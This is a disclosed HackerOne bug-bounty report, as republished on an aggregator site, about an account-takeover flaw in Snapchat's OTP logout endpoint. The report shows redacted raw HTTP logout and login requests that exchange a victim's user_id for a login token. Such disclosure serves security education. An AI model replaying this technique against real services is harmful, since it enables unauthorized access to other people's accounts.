Skip to content
Account takeover Disclosed report Intermediate

Improper Authentication - any user can login as other user with otp/logout & otp/login

The logout endpoint accepted a user-supplied user_id and returned an OTP token for that account, allowing an attacker to log in as any user whose user_id they knew. The attacker could then use that token to authenticate as the victim.

korniltsev Follow

Originally disclosed on HackerOne

Critical 9.3 View original
  • Triaged in 6 hours
  • Fixed in 14 months
  • Paid in 45 days
  • Disclosed after 14 months

Summary by the program

This vulnerability was discovered on the One Tap Password (OTP) login/logout flow. If exploited, the attacker could log in to any account for which they had the user_id. This id is exposed in several places and should not have been trusted in the request by the logout endpoint.

The report

'/scauth/otp/droid/logout' request contains user_id parameter. Usually it is equal to current user user_id, but if an attacker passes user_id of victim account he can login as victim.

I will demonstrate the problem on two accounts. Victim: ███ Attacker: ██████████

  • Attacker perform a usuall login to attacker's personal account.
  • Attacker performs /scauth/otp/droid/logout but instead of attacker's user_id, attacker provides victim's user_id

request

POST /scauth/otp/droid/logout HTTP/1.1
Host: gcp.api.snapchat.com
Connection: close
Content-Length: 168
X-Snapchat-Client-Auth: ██████
X-Snapchat-UUID: ███
x-snapchat-userid: █████
username: ███
req_token: █████████
timestamp: 1594604280000
Accept: application/json
User-Agent: Snapchat/10.78.1.0 █████
Accept-Language: en-GB;q=1, en;q=0.9
Content-Type: application/json; charset=utf-8
Accept-Encoding: gzip, deflate

{"user_id":"████","device_id":"███████","device_name":"███████"}

response

HTTP/1.1 200 OK
date: Mon, 13 Jul 2020 01:39:18 GMT
content-type: application/json;charset=utf-8
vary: Accept-Encoding
x-cloud-trace-context: 4ea579062bff12ec2ef2162a59116f2e
server: API Gateway
cache-control: no-cache, no-store
x-snapchat-notice: Snapchat Private APIs - Unauthorized use is prohibited.
x-snapchat-request-id: █████
x-snapchat-server-latency: 342
strict-transport-security: max-age=31536000; includeSubDomains
Via: 1.1 google, 1.1 google
Alt-Svc: h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
Content-Length: 137

{"status":"SUCCESS","user_id":"█████████","token":"█████","expiry_hint":████}

Notice an attacker replaced user_id with victim's user_id and the server responded with victim's user_id and given us otp token. Now let's login with the token.

  • Attacker performs /scauth/otp/login request with username equal victim's username, and the token obtained on previous step.
POST /scauth/otp/login HTTP/1.1
Host: gcp.api.snapchat.com
Connection: close
Content-Length: 6213
X-Snapchat-Client-Auth: ██████
X-Snapchat-UUID: ████████
User-Agent: Snapchat/10.78.1.0 ██████
Accept: application/json
Accept-Language: en-GB;q=1, en;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Encoding: gzip, deflate

application_id=com.snap.framework&attestation=████████&device_id=█████████&dsig=█████&dtoken1i=██████&fidelius_client_init=███████&height=1920&max_video_height=1920&max_video_width=1080&password=███████&reactivation_confirmed=false&req_token=████████&screen_height_in=4.527565&screen_height_px=1920&screen_width_in=2.5590599&screen_width_px=1080&timestamp=1594604398438&token=████&username=█████&width=1080

response

HTTP/1.1 200 OK
date: Mon, 13 Jul 2020 01:40:18 GMT
content-type: application/json;charset=utf-8
vary: Accept-Encoding,Accept-Encoding
x-cloud-trace-context: f88a46255f8542b12008295d77cf1b5c
server: API Gateway
cache-control: no-cache, no-store
x-snap-refresh-token: ████
x-snapchat-notice: Snapchat Private APIs - Unauthorized use is prohibited.
x-snap-access-tokens: ███
x-snapchat-request-id: ████████
strict-transport-security: max-age=31536000; includeSubDomains
Via: 1.1 google, 1.1 google
Alt-Svc: h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
Content-Length: 138867

{"updates_response":{"logged":true,"username":"█████","user_id":"█████",...

An attacker successfully performed login as victim.

Victim's user_id can be easily obtained with friends request.

I've attached the following:

  • a screencast to showcase the problem.
  • burp project ████
  • logout+login raw requests exported from burp
  • a python script to perform the attack

I've tested this bug only on my personal accounts. ███████ ███ █████████

Impact

An attacker is able to login as any user.

The original report as published on HackerOne, by korniltsev. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The logout endpoint did not verify that the supplied user_id belonged to the authenticated user, and it issued an OTP token for that arbitrary user_id.

Impact

An attacker could log in as any user whose user_id they knew, leading to full account takeover.

What the attacker needed

Attacker has a valid account; attacker knows victim's user_id

How it was found

  1. Log in as the attacker's own account.
  2. Send a logout request with the victim's user_id instead of the attacker's.
  3. Receive an OTP token for the victim's account.
  4. Send a login request with the victim's username and the obtained token.
  5. Successfully log in as the victim.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you log out, the app should only affect your own session. Here, the app trusted a user ID sent in the request and gave back a login token for that ID, so anyone who knew another person's ID could get a token for their account and log in as them.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by korniltsev

View all

1 more disclosed report, best first.

More from Snapchat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.